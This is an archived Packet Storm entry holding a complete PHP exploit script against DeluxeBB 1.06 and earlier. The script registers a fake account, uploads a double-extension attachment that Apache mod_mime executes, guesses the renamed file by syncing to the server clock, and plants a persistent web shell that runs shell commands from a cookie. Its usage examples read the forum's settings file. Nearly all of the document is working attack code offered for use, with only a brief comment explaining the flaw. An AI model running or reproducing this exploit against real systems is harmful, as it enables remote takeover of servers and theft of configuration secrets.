deluxebb.txt

2006-05-22T00:00:00
ID PACKETSTORM:46473
Type packetstorm
Reporter rgod
Modified 2006-05-22T00:00:00

Description

                                        
                                            `#!/usr/bin/php -q -d short_open_tag=on  
<?  
echo "DeluxeBB <= v1.06 attachment mod_mime exploit\r\n";  
echo "by rgod rgod@autistici.org\r\n";  
echo "site: http://retrogod.altervista.org\r\n";  
echo "tested & working against a fresh deluxebb installation\r\n\r\n";  
  
if ($argc<4) {  
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";  
echo "host: target server (ip/hostname)\r\n";  
echo "path: path to deluxebb\r\n";  
echo "cmd: a shell command\r\n";  
echo "Options:\r\n";  
echo " -p[port]: specify a port other than 80\r\n";  
echo " -P[ip:port]: specify a proxy\r\n";  
echo "Examples:\r\n";  
echo "php ".$argv[0]." localhost /deluxebb/ cat ./../settings/info.php\r\n";  
echo "php ".$argv[0]." localhost /deluxebb/ ls -la -p81\r\n";  
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n\r\n";  
die;  
}  
  
/*explaination:  
  
you can upload attachments with double extensions, ex.:  
  
test.php.php.rar  
  
file is renamed like this:  
  
test.php.php-1147772503.ext  
  
and copied to the files/ folder, as you can see, new filename is predictable...,  
numbers are the result of time() php function, you have just to synchronize  
clocks through Apache "Date" header...  
  
It seems that Apache mod_mime module considers double-extension files like  
this to be valid PHP files and runs the arbitrary code that has been uploaded,  
actually on most versions you can do somethign like this:  
  
http://[target]/[path]/files/test.php.php-1147772503.ext?cmd=ls%20-la  
*/  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
#debug  
#echo "\r\n".$html;  
}  
  
function make_seed()  
{  
list($usec, $sec) = explode(' ', microtime());  
return (float) $sec + ((float) $usec * 100000);  
}  
  
function greenwich_timestamp($response)  
{  
$temp=explode("Date: ",$response);  
$temp2=explode("\r\n",$temp[1]);  
$is_now=$temp2[0];  
$temp=explode(" ",$is_now);$day=$temp[1];$month=$temp[2];$year=$temp[3];$temp2=explode(":",$temp[4]);  
$hour=$temp2[0];$min=$temp2[1];$sec=$temp2[2];  
$tb=array ('Jan', '1','Feb', '2','Mar', '3','Apr', '4','May', '5','Jun', '6',  
'Jul', '7','Aug', '8','Sep', '9','Oct', '10','Nov', '11','Dec', '12');  
for ($i=0;$i<=23;$i++) {if ($month==$tb[$i]) {$month=$tb[$i+1];break;}}  
return mktime($hour,$min,$sec,$month,$day,$year);  
}  
  
function gmtime() { // Get GM offset.  
return time() - (int) date('Z');  
}  
  
$host=$argv[1];  
$path=$argv[2];  
$cmd="";$port=80;$proxy="";  
for ($i=3; $i<=$argc-1; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if (($temp<>"-p") and ($temp<>"-P"))  
{$cmd.=" ".$argv[$i];}  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
}  
$cmd=urlencode($cmd);  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
echo "step 0 -> Check if suntzu.php is already installed\r\n";  
$packet ="GET ".$p."files/suntzu.php HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: cmd=".$cmd.";\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
if (strstr($html,"56789"))  
{  
echo "Exploit succeeded...";  
$temp=explode("56789",$html);  
die("\r\n".$temp[1]."\r\n");  
}  
  
echo "step 0b -> Synchronize...\r\n";  
$difftime=0;  
//Unin epoch time by Apache "Date:" response header  
//it carries GMT time... sending HEAD request  
$packet ="HEAD / HTTP/1.1\r\nHost: ".$host."\r\nConnection: Close\r\n\r\n";  
sendpacketii($packet);  
if ((eregi("Date: ",$html)) and ($proxy==''))  
{  
$itstime=greenwich_timestamp($html);  
echo "target host Greenwich timestamp: ".$itstime."\r\n";  
$mytime=gmtime();  
echo "my greenwich timestamp: ".$mytime."\r\n";  
$difftime= $itstime-$mytime;  
echo "difftime: ".$difftime."\r\n";  
}  
else  
{  
echo "Unable to read \"Date\", assuming difftime = 0\r\n";  
}  
  
echo "step 1 -> Register...\r\n";  
srand(make_seed());  
$anumber = rand(1,99999);  
$data="name=suntzu".$anumber;  
$data.="&pass=suntzu";  
$data.="&pass2=suntzu";  
$data.="&email=suntzu".$anumber."%40fakemail.com";  
$data.="&hideemail=1";  
$data.="&languagex=English";  
$data.="&xthetimeoffset=2";  
$data.="&xthedateformat=d-m-Y";  
$data.="&xthetimeformat=24";  
$data.="&submit=Register";  
$packet ="POST ".$p."misc.php?sub=register HTTP/1.0\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="User-Agent: Googlebot/2.1\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
$temp=explode("Set-Cookie: ",$html);  
$cookie="";  
for ($i=1; $i<=count($temp)-1; $i++)  
{  
$temp2=explode(" ",$temp[$i]);  
$cookie.=" ".$temp2[0];  
}  
if ($cookie=='') {  
die("Unable to register...");  
}  
else {  
echo "cookie -> ".$cookie."\r\n";  
}  
  
echo "step 2 -> Post a new thread with the evil attachment...\r\n";  
  
$attachment='  
<?php  
$fp=fopen("suntzu.php","w");  
fputs($fp,"<?php error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()) {\$_COOKIE[cmd]=stripslashes(\$_COOKIE[cmd]);}echo 56789;passthru(\$_COOKIE[cmd]);echo 56789;?>");  
fclose($fp);  
chmod("suntzu.php",777);  
?>';  
  
$data='-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="subject"  
  
Sun-Tzu, Art of War  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="posticon"  
  
None  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="disablesmilies"  
  
1  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="fileupload"; filename="suntzu'.$anumber.'.php.php.rar"  
Content-Type: application/octet-stream  
  
'.$attachment.'  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="MAX_FILE_SIZE"  
  
1048576  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="what"  
  
ciao  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="submit"  
  
Post  
-----------------------------7d6ee3a7074a--  
';  
  
$packet ="POST ".$p."newpost.php?sub=newthread&fid=1 HTTP/1.0\r\n";  
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6ee3a7074a\r\n";  
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Cookie: ".$cookie."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
$mytime=time() + $difftime;  
sendpacketii($packet);  
sleep(2);  
  
/*  
file is renamed in this way:  
  
...  
$time = time(); //header.php, line 78  
...  
  
...  
$saveit = $settings['attachdir'] . $filename . '-' . $time . '.' . 'ext'; //newpost.php, line 218-219  
copy($fileupload['tmp_name'], $saveit);  
... */  
  
$predict_time=  
array (  
$mytime,  
$mytime + 1,  
$mytime + 2,  
$mytime + 3,  
$mytime + 4,  
$mytime + 5,  
$mytime + 6  
);  
  
for ($i=0; $i<=count($predict_time)-1; $i++)  
{  
$a=3+$i;  
echo "step ".$a." -> trying with suntzu".$anumber.".php.php-".$predict_time[$i].".ext\r\n";  
$packet ="GET ".$p."files/suntzu".$anumber.".php.php-".$predict_time[$i].".ext HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
  
$packet ="GET ".$p."files/suntzu.php HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: cmd=".$cmd.";\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
if (strstr($html,"56789"))  
{  
echo "Exploit succeeded...";  
$temp=explode("56789",$html);  
die("\r\n".$temp[1]."\r\n");  
}  
}  
//if you are here...  
echo "Exploit failed...";  
?>  
  
  
original url: http://retrogod.altervista.org/deluxebb_106_xpl.html  
`